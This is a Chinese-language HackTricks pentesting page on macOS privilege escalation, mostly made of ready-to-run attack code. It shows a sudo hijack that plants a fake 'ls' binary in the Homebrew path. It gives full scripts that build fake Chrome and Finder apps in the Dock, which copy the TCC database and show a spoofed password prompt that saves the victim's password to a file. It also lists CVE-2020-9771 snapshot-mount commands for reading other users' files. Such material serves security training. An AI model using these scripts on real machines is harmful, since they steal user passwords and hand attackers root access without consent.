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# macOS权限提升
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< details >
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< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
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支持HackTricks的其他方式:
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- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或在**Twitter**上关注我们 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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< / details >
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## TCC权限提升
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如果您在这里寻找TCC权限提升, 请转到:
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{% content-ref url="macos-security-protections/macos-tcc/" %}
[macos-tcc ](macos-security-protections/macos-tcc/ )
{% endcontent-ref %}
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## Linux权限提升
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请注意,**大多数关于影响Linux/Unix权限提升的技巧也会影响MacOS**机器。因此请参考:
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{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation ](../../linux-hardening/privilege-escalation/ )
{% endcontent-ref %}
## 用户交互
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### Sudo劫持
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您可以在[Linux权限提升文章中找到原始的Sudo劫持技术](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
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然而, macOS在用户执行**`sudo`**时会**保留**用户的**`PATH`**。这意味着实现此攻击的另一种方法是**劫持受害者在运行sudo时执行的其他二进制文件**:
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```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls < < EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
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注意,使用终端的用户很可能已经安装了**Homebrew**。因此,有可能劫持**`/opt/homebrew/bin`**中的二进制文件。
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### Dock冒充
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通过一些**社会工程学**手段, 您可以在Dock中**冒充例如Google Chrome**,实际上执行您自己的脚本:
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{% tabs %}
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{% tab title="Chrome冒充" %}
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一些建议:
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* 在Dock中检查是否有Chrome, 如果有的话, **移除**该条目, 并在Dock数组的相同位置**添加**一个**伪造的Chrome条目**。
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```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c < < EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
sleep 0.1
killall Dock
```
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{% endtab %}
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{% tab title="模拟Finder" %}
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一些建议:
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- 你**无法从Dock中移除Finder**, 所以如果你要将其添加到Dock中, 你可以将假的Finder放在真正的Finder旁边。为此, 你需要**将假的Finder条目添加到Dock数组的开头**。
- 另一个选择是不将其放在Dock中, 只是打开它, “Finder要求控制Finder”并不奇怪。
- 另一个升级到root权限而不需要密码的可怕框的选项是让Finder真的要求输入密码来执行特权操作:
- 要求Finder将新的**`sudo`**文件复制到**`/etc/pam.d`**( 提示要求输入密码将指示“Finder想要复制sudo”)
- 要求Finder复制一个新的**授权插件**( 你可以控制文件名, 以便提示要求输入密码将指示“Finder想要复制Finder.bundle”)
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```bash
#!/bin/sh
# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
rm -rf /tmp/Finder.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources
# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c < < EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
chmod +x /tmp/Finder.app/Contents/MacOS/Finder
# Info.plist
cat < < EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key > CFBundleExecutable< / key >
< string > Finder< / string >
< key > CFBundleIdentifier< / key >
< string > com.apple.finder< / string >
< key > CFBundleName< / key >
< string > Finder< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
< / dict >
< / plist >
EOF
# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Finder.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
sleep 0.1
killall Dock
```
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## TCC - 提权漏洞
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### CVE-2020-9771 - mount\_apfs TCC绕过和提权
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**任何用户**(甚至是非特权用户)都可以创建和挂载一个时间机器快照,并**访问该快照的所有文件**。\
唯一需要的特权是所使用的应用程序(如`Terminal`)需要具有**完全磁盘访问权限**( FDA) ( `kTCCServiceSystemPolicyAllfiles`),这需要由管理员授予。
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```bash
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
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更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**。**
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## 敏感信息
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这可能对提升权限有用:
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{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
[macos-sensitive-locations.md ](macos-files-folders-and-binaries/macos-sensitive-locations.md )
{% endcontent-ref %}
< details >
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< summary > < strong > 从零开始学习AWS黑客技术, 成为英雄, 使用< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
2023-12-20 02:34:32 +00:00
2024-02-08 22:20:49 +00:00
支持HackTricks的其他方式:
2024-01-04 11:46:15 +00:00
2024-02-08 22:20:49 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS& HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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< / details >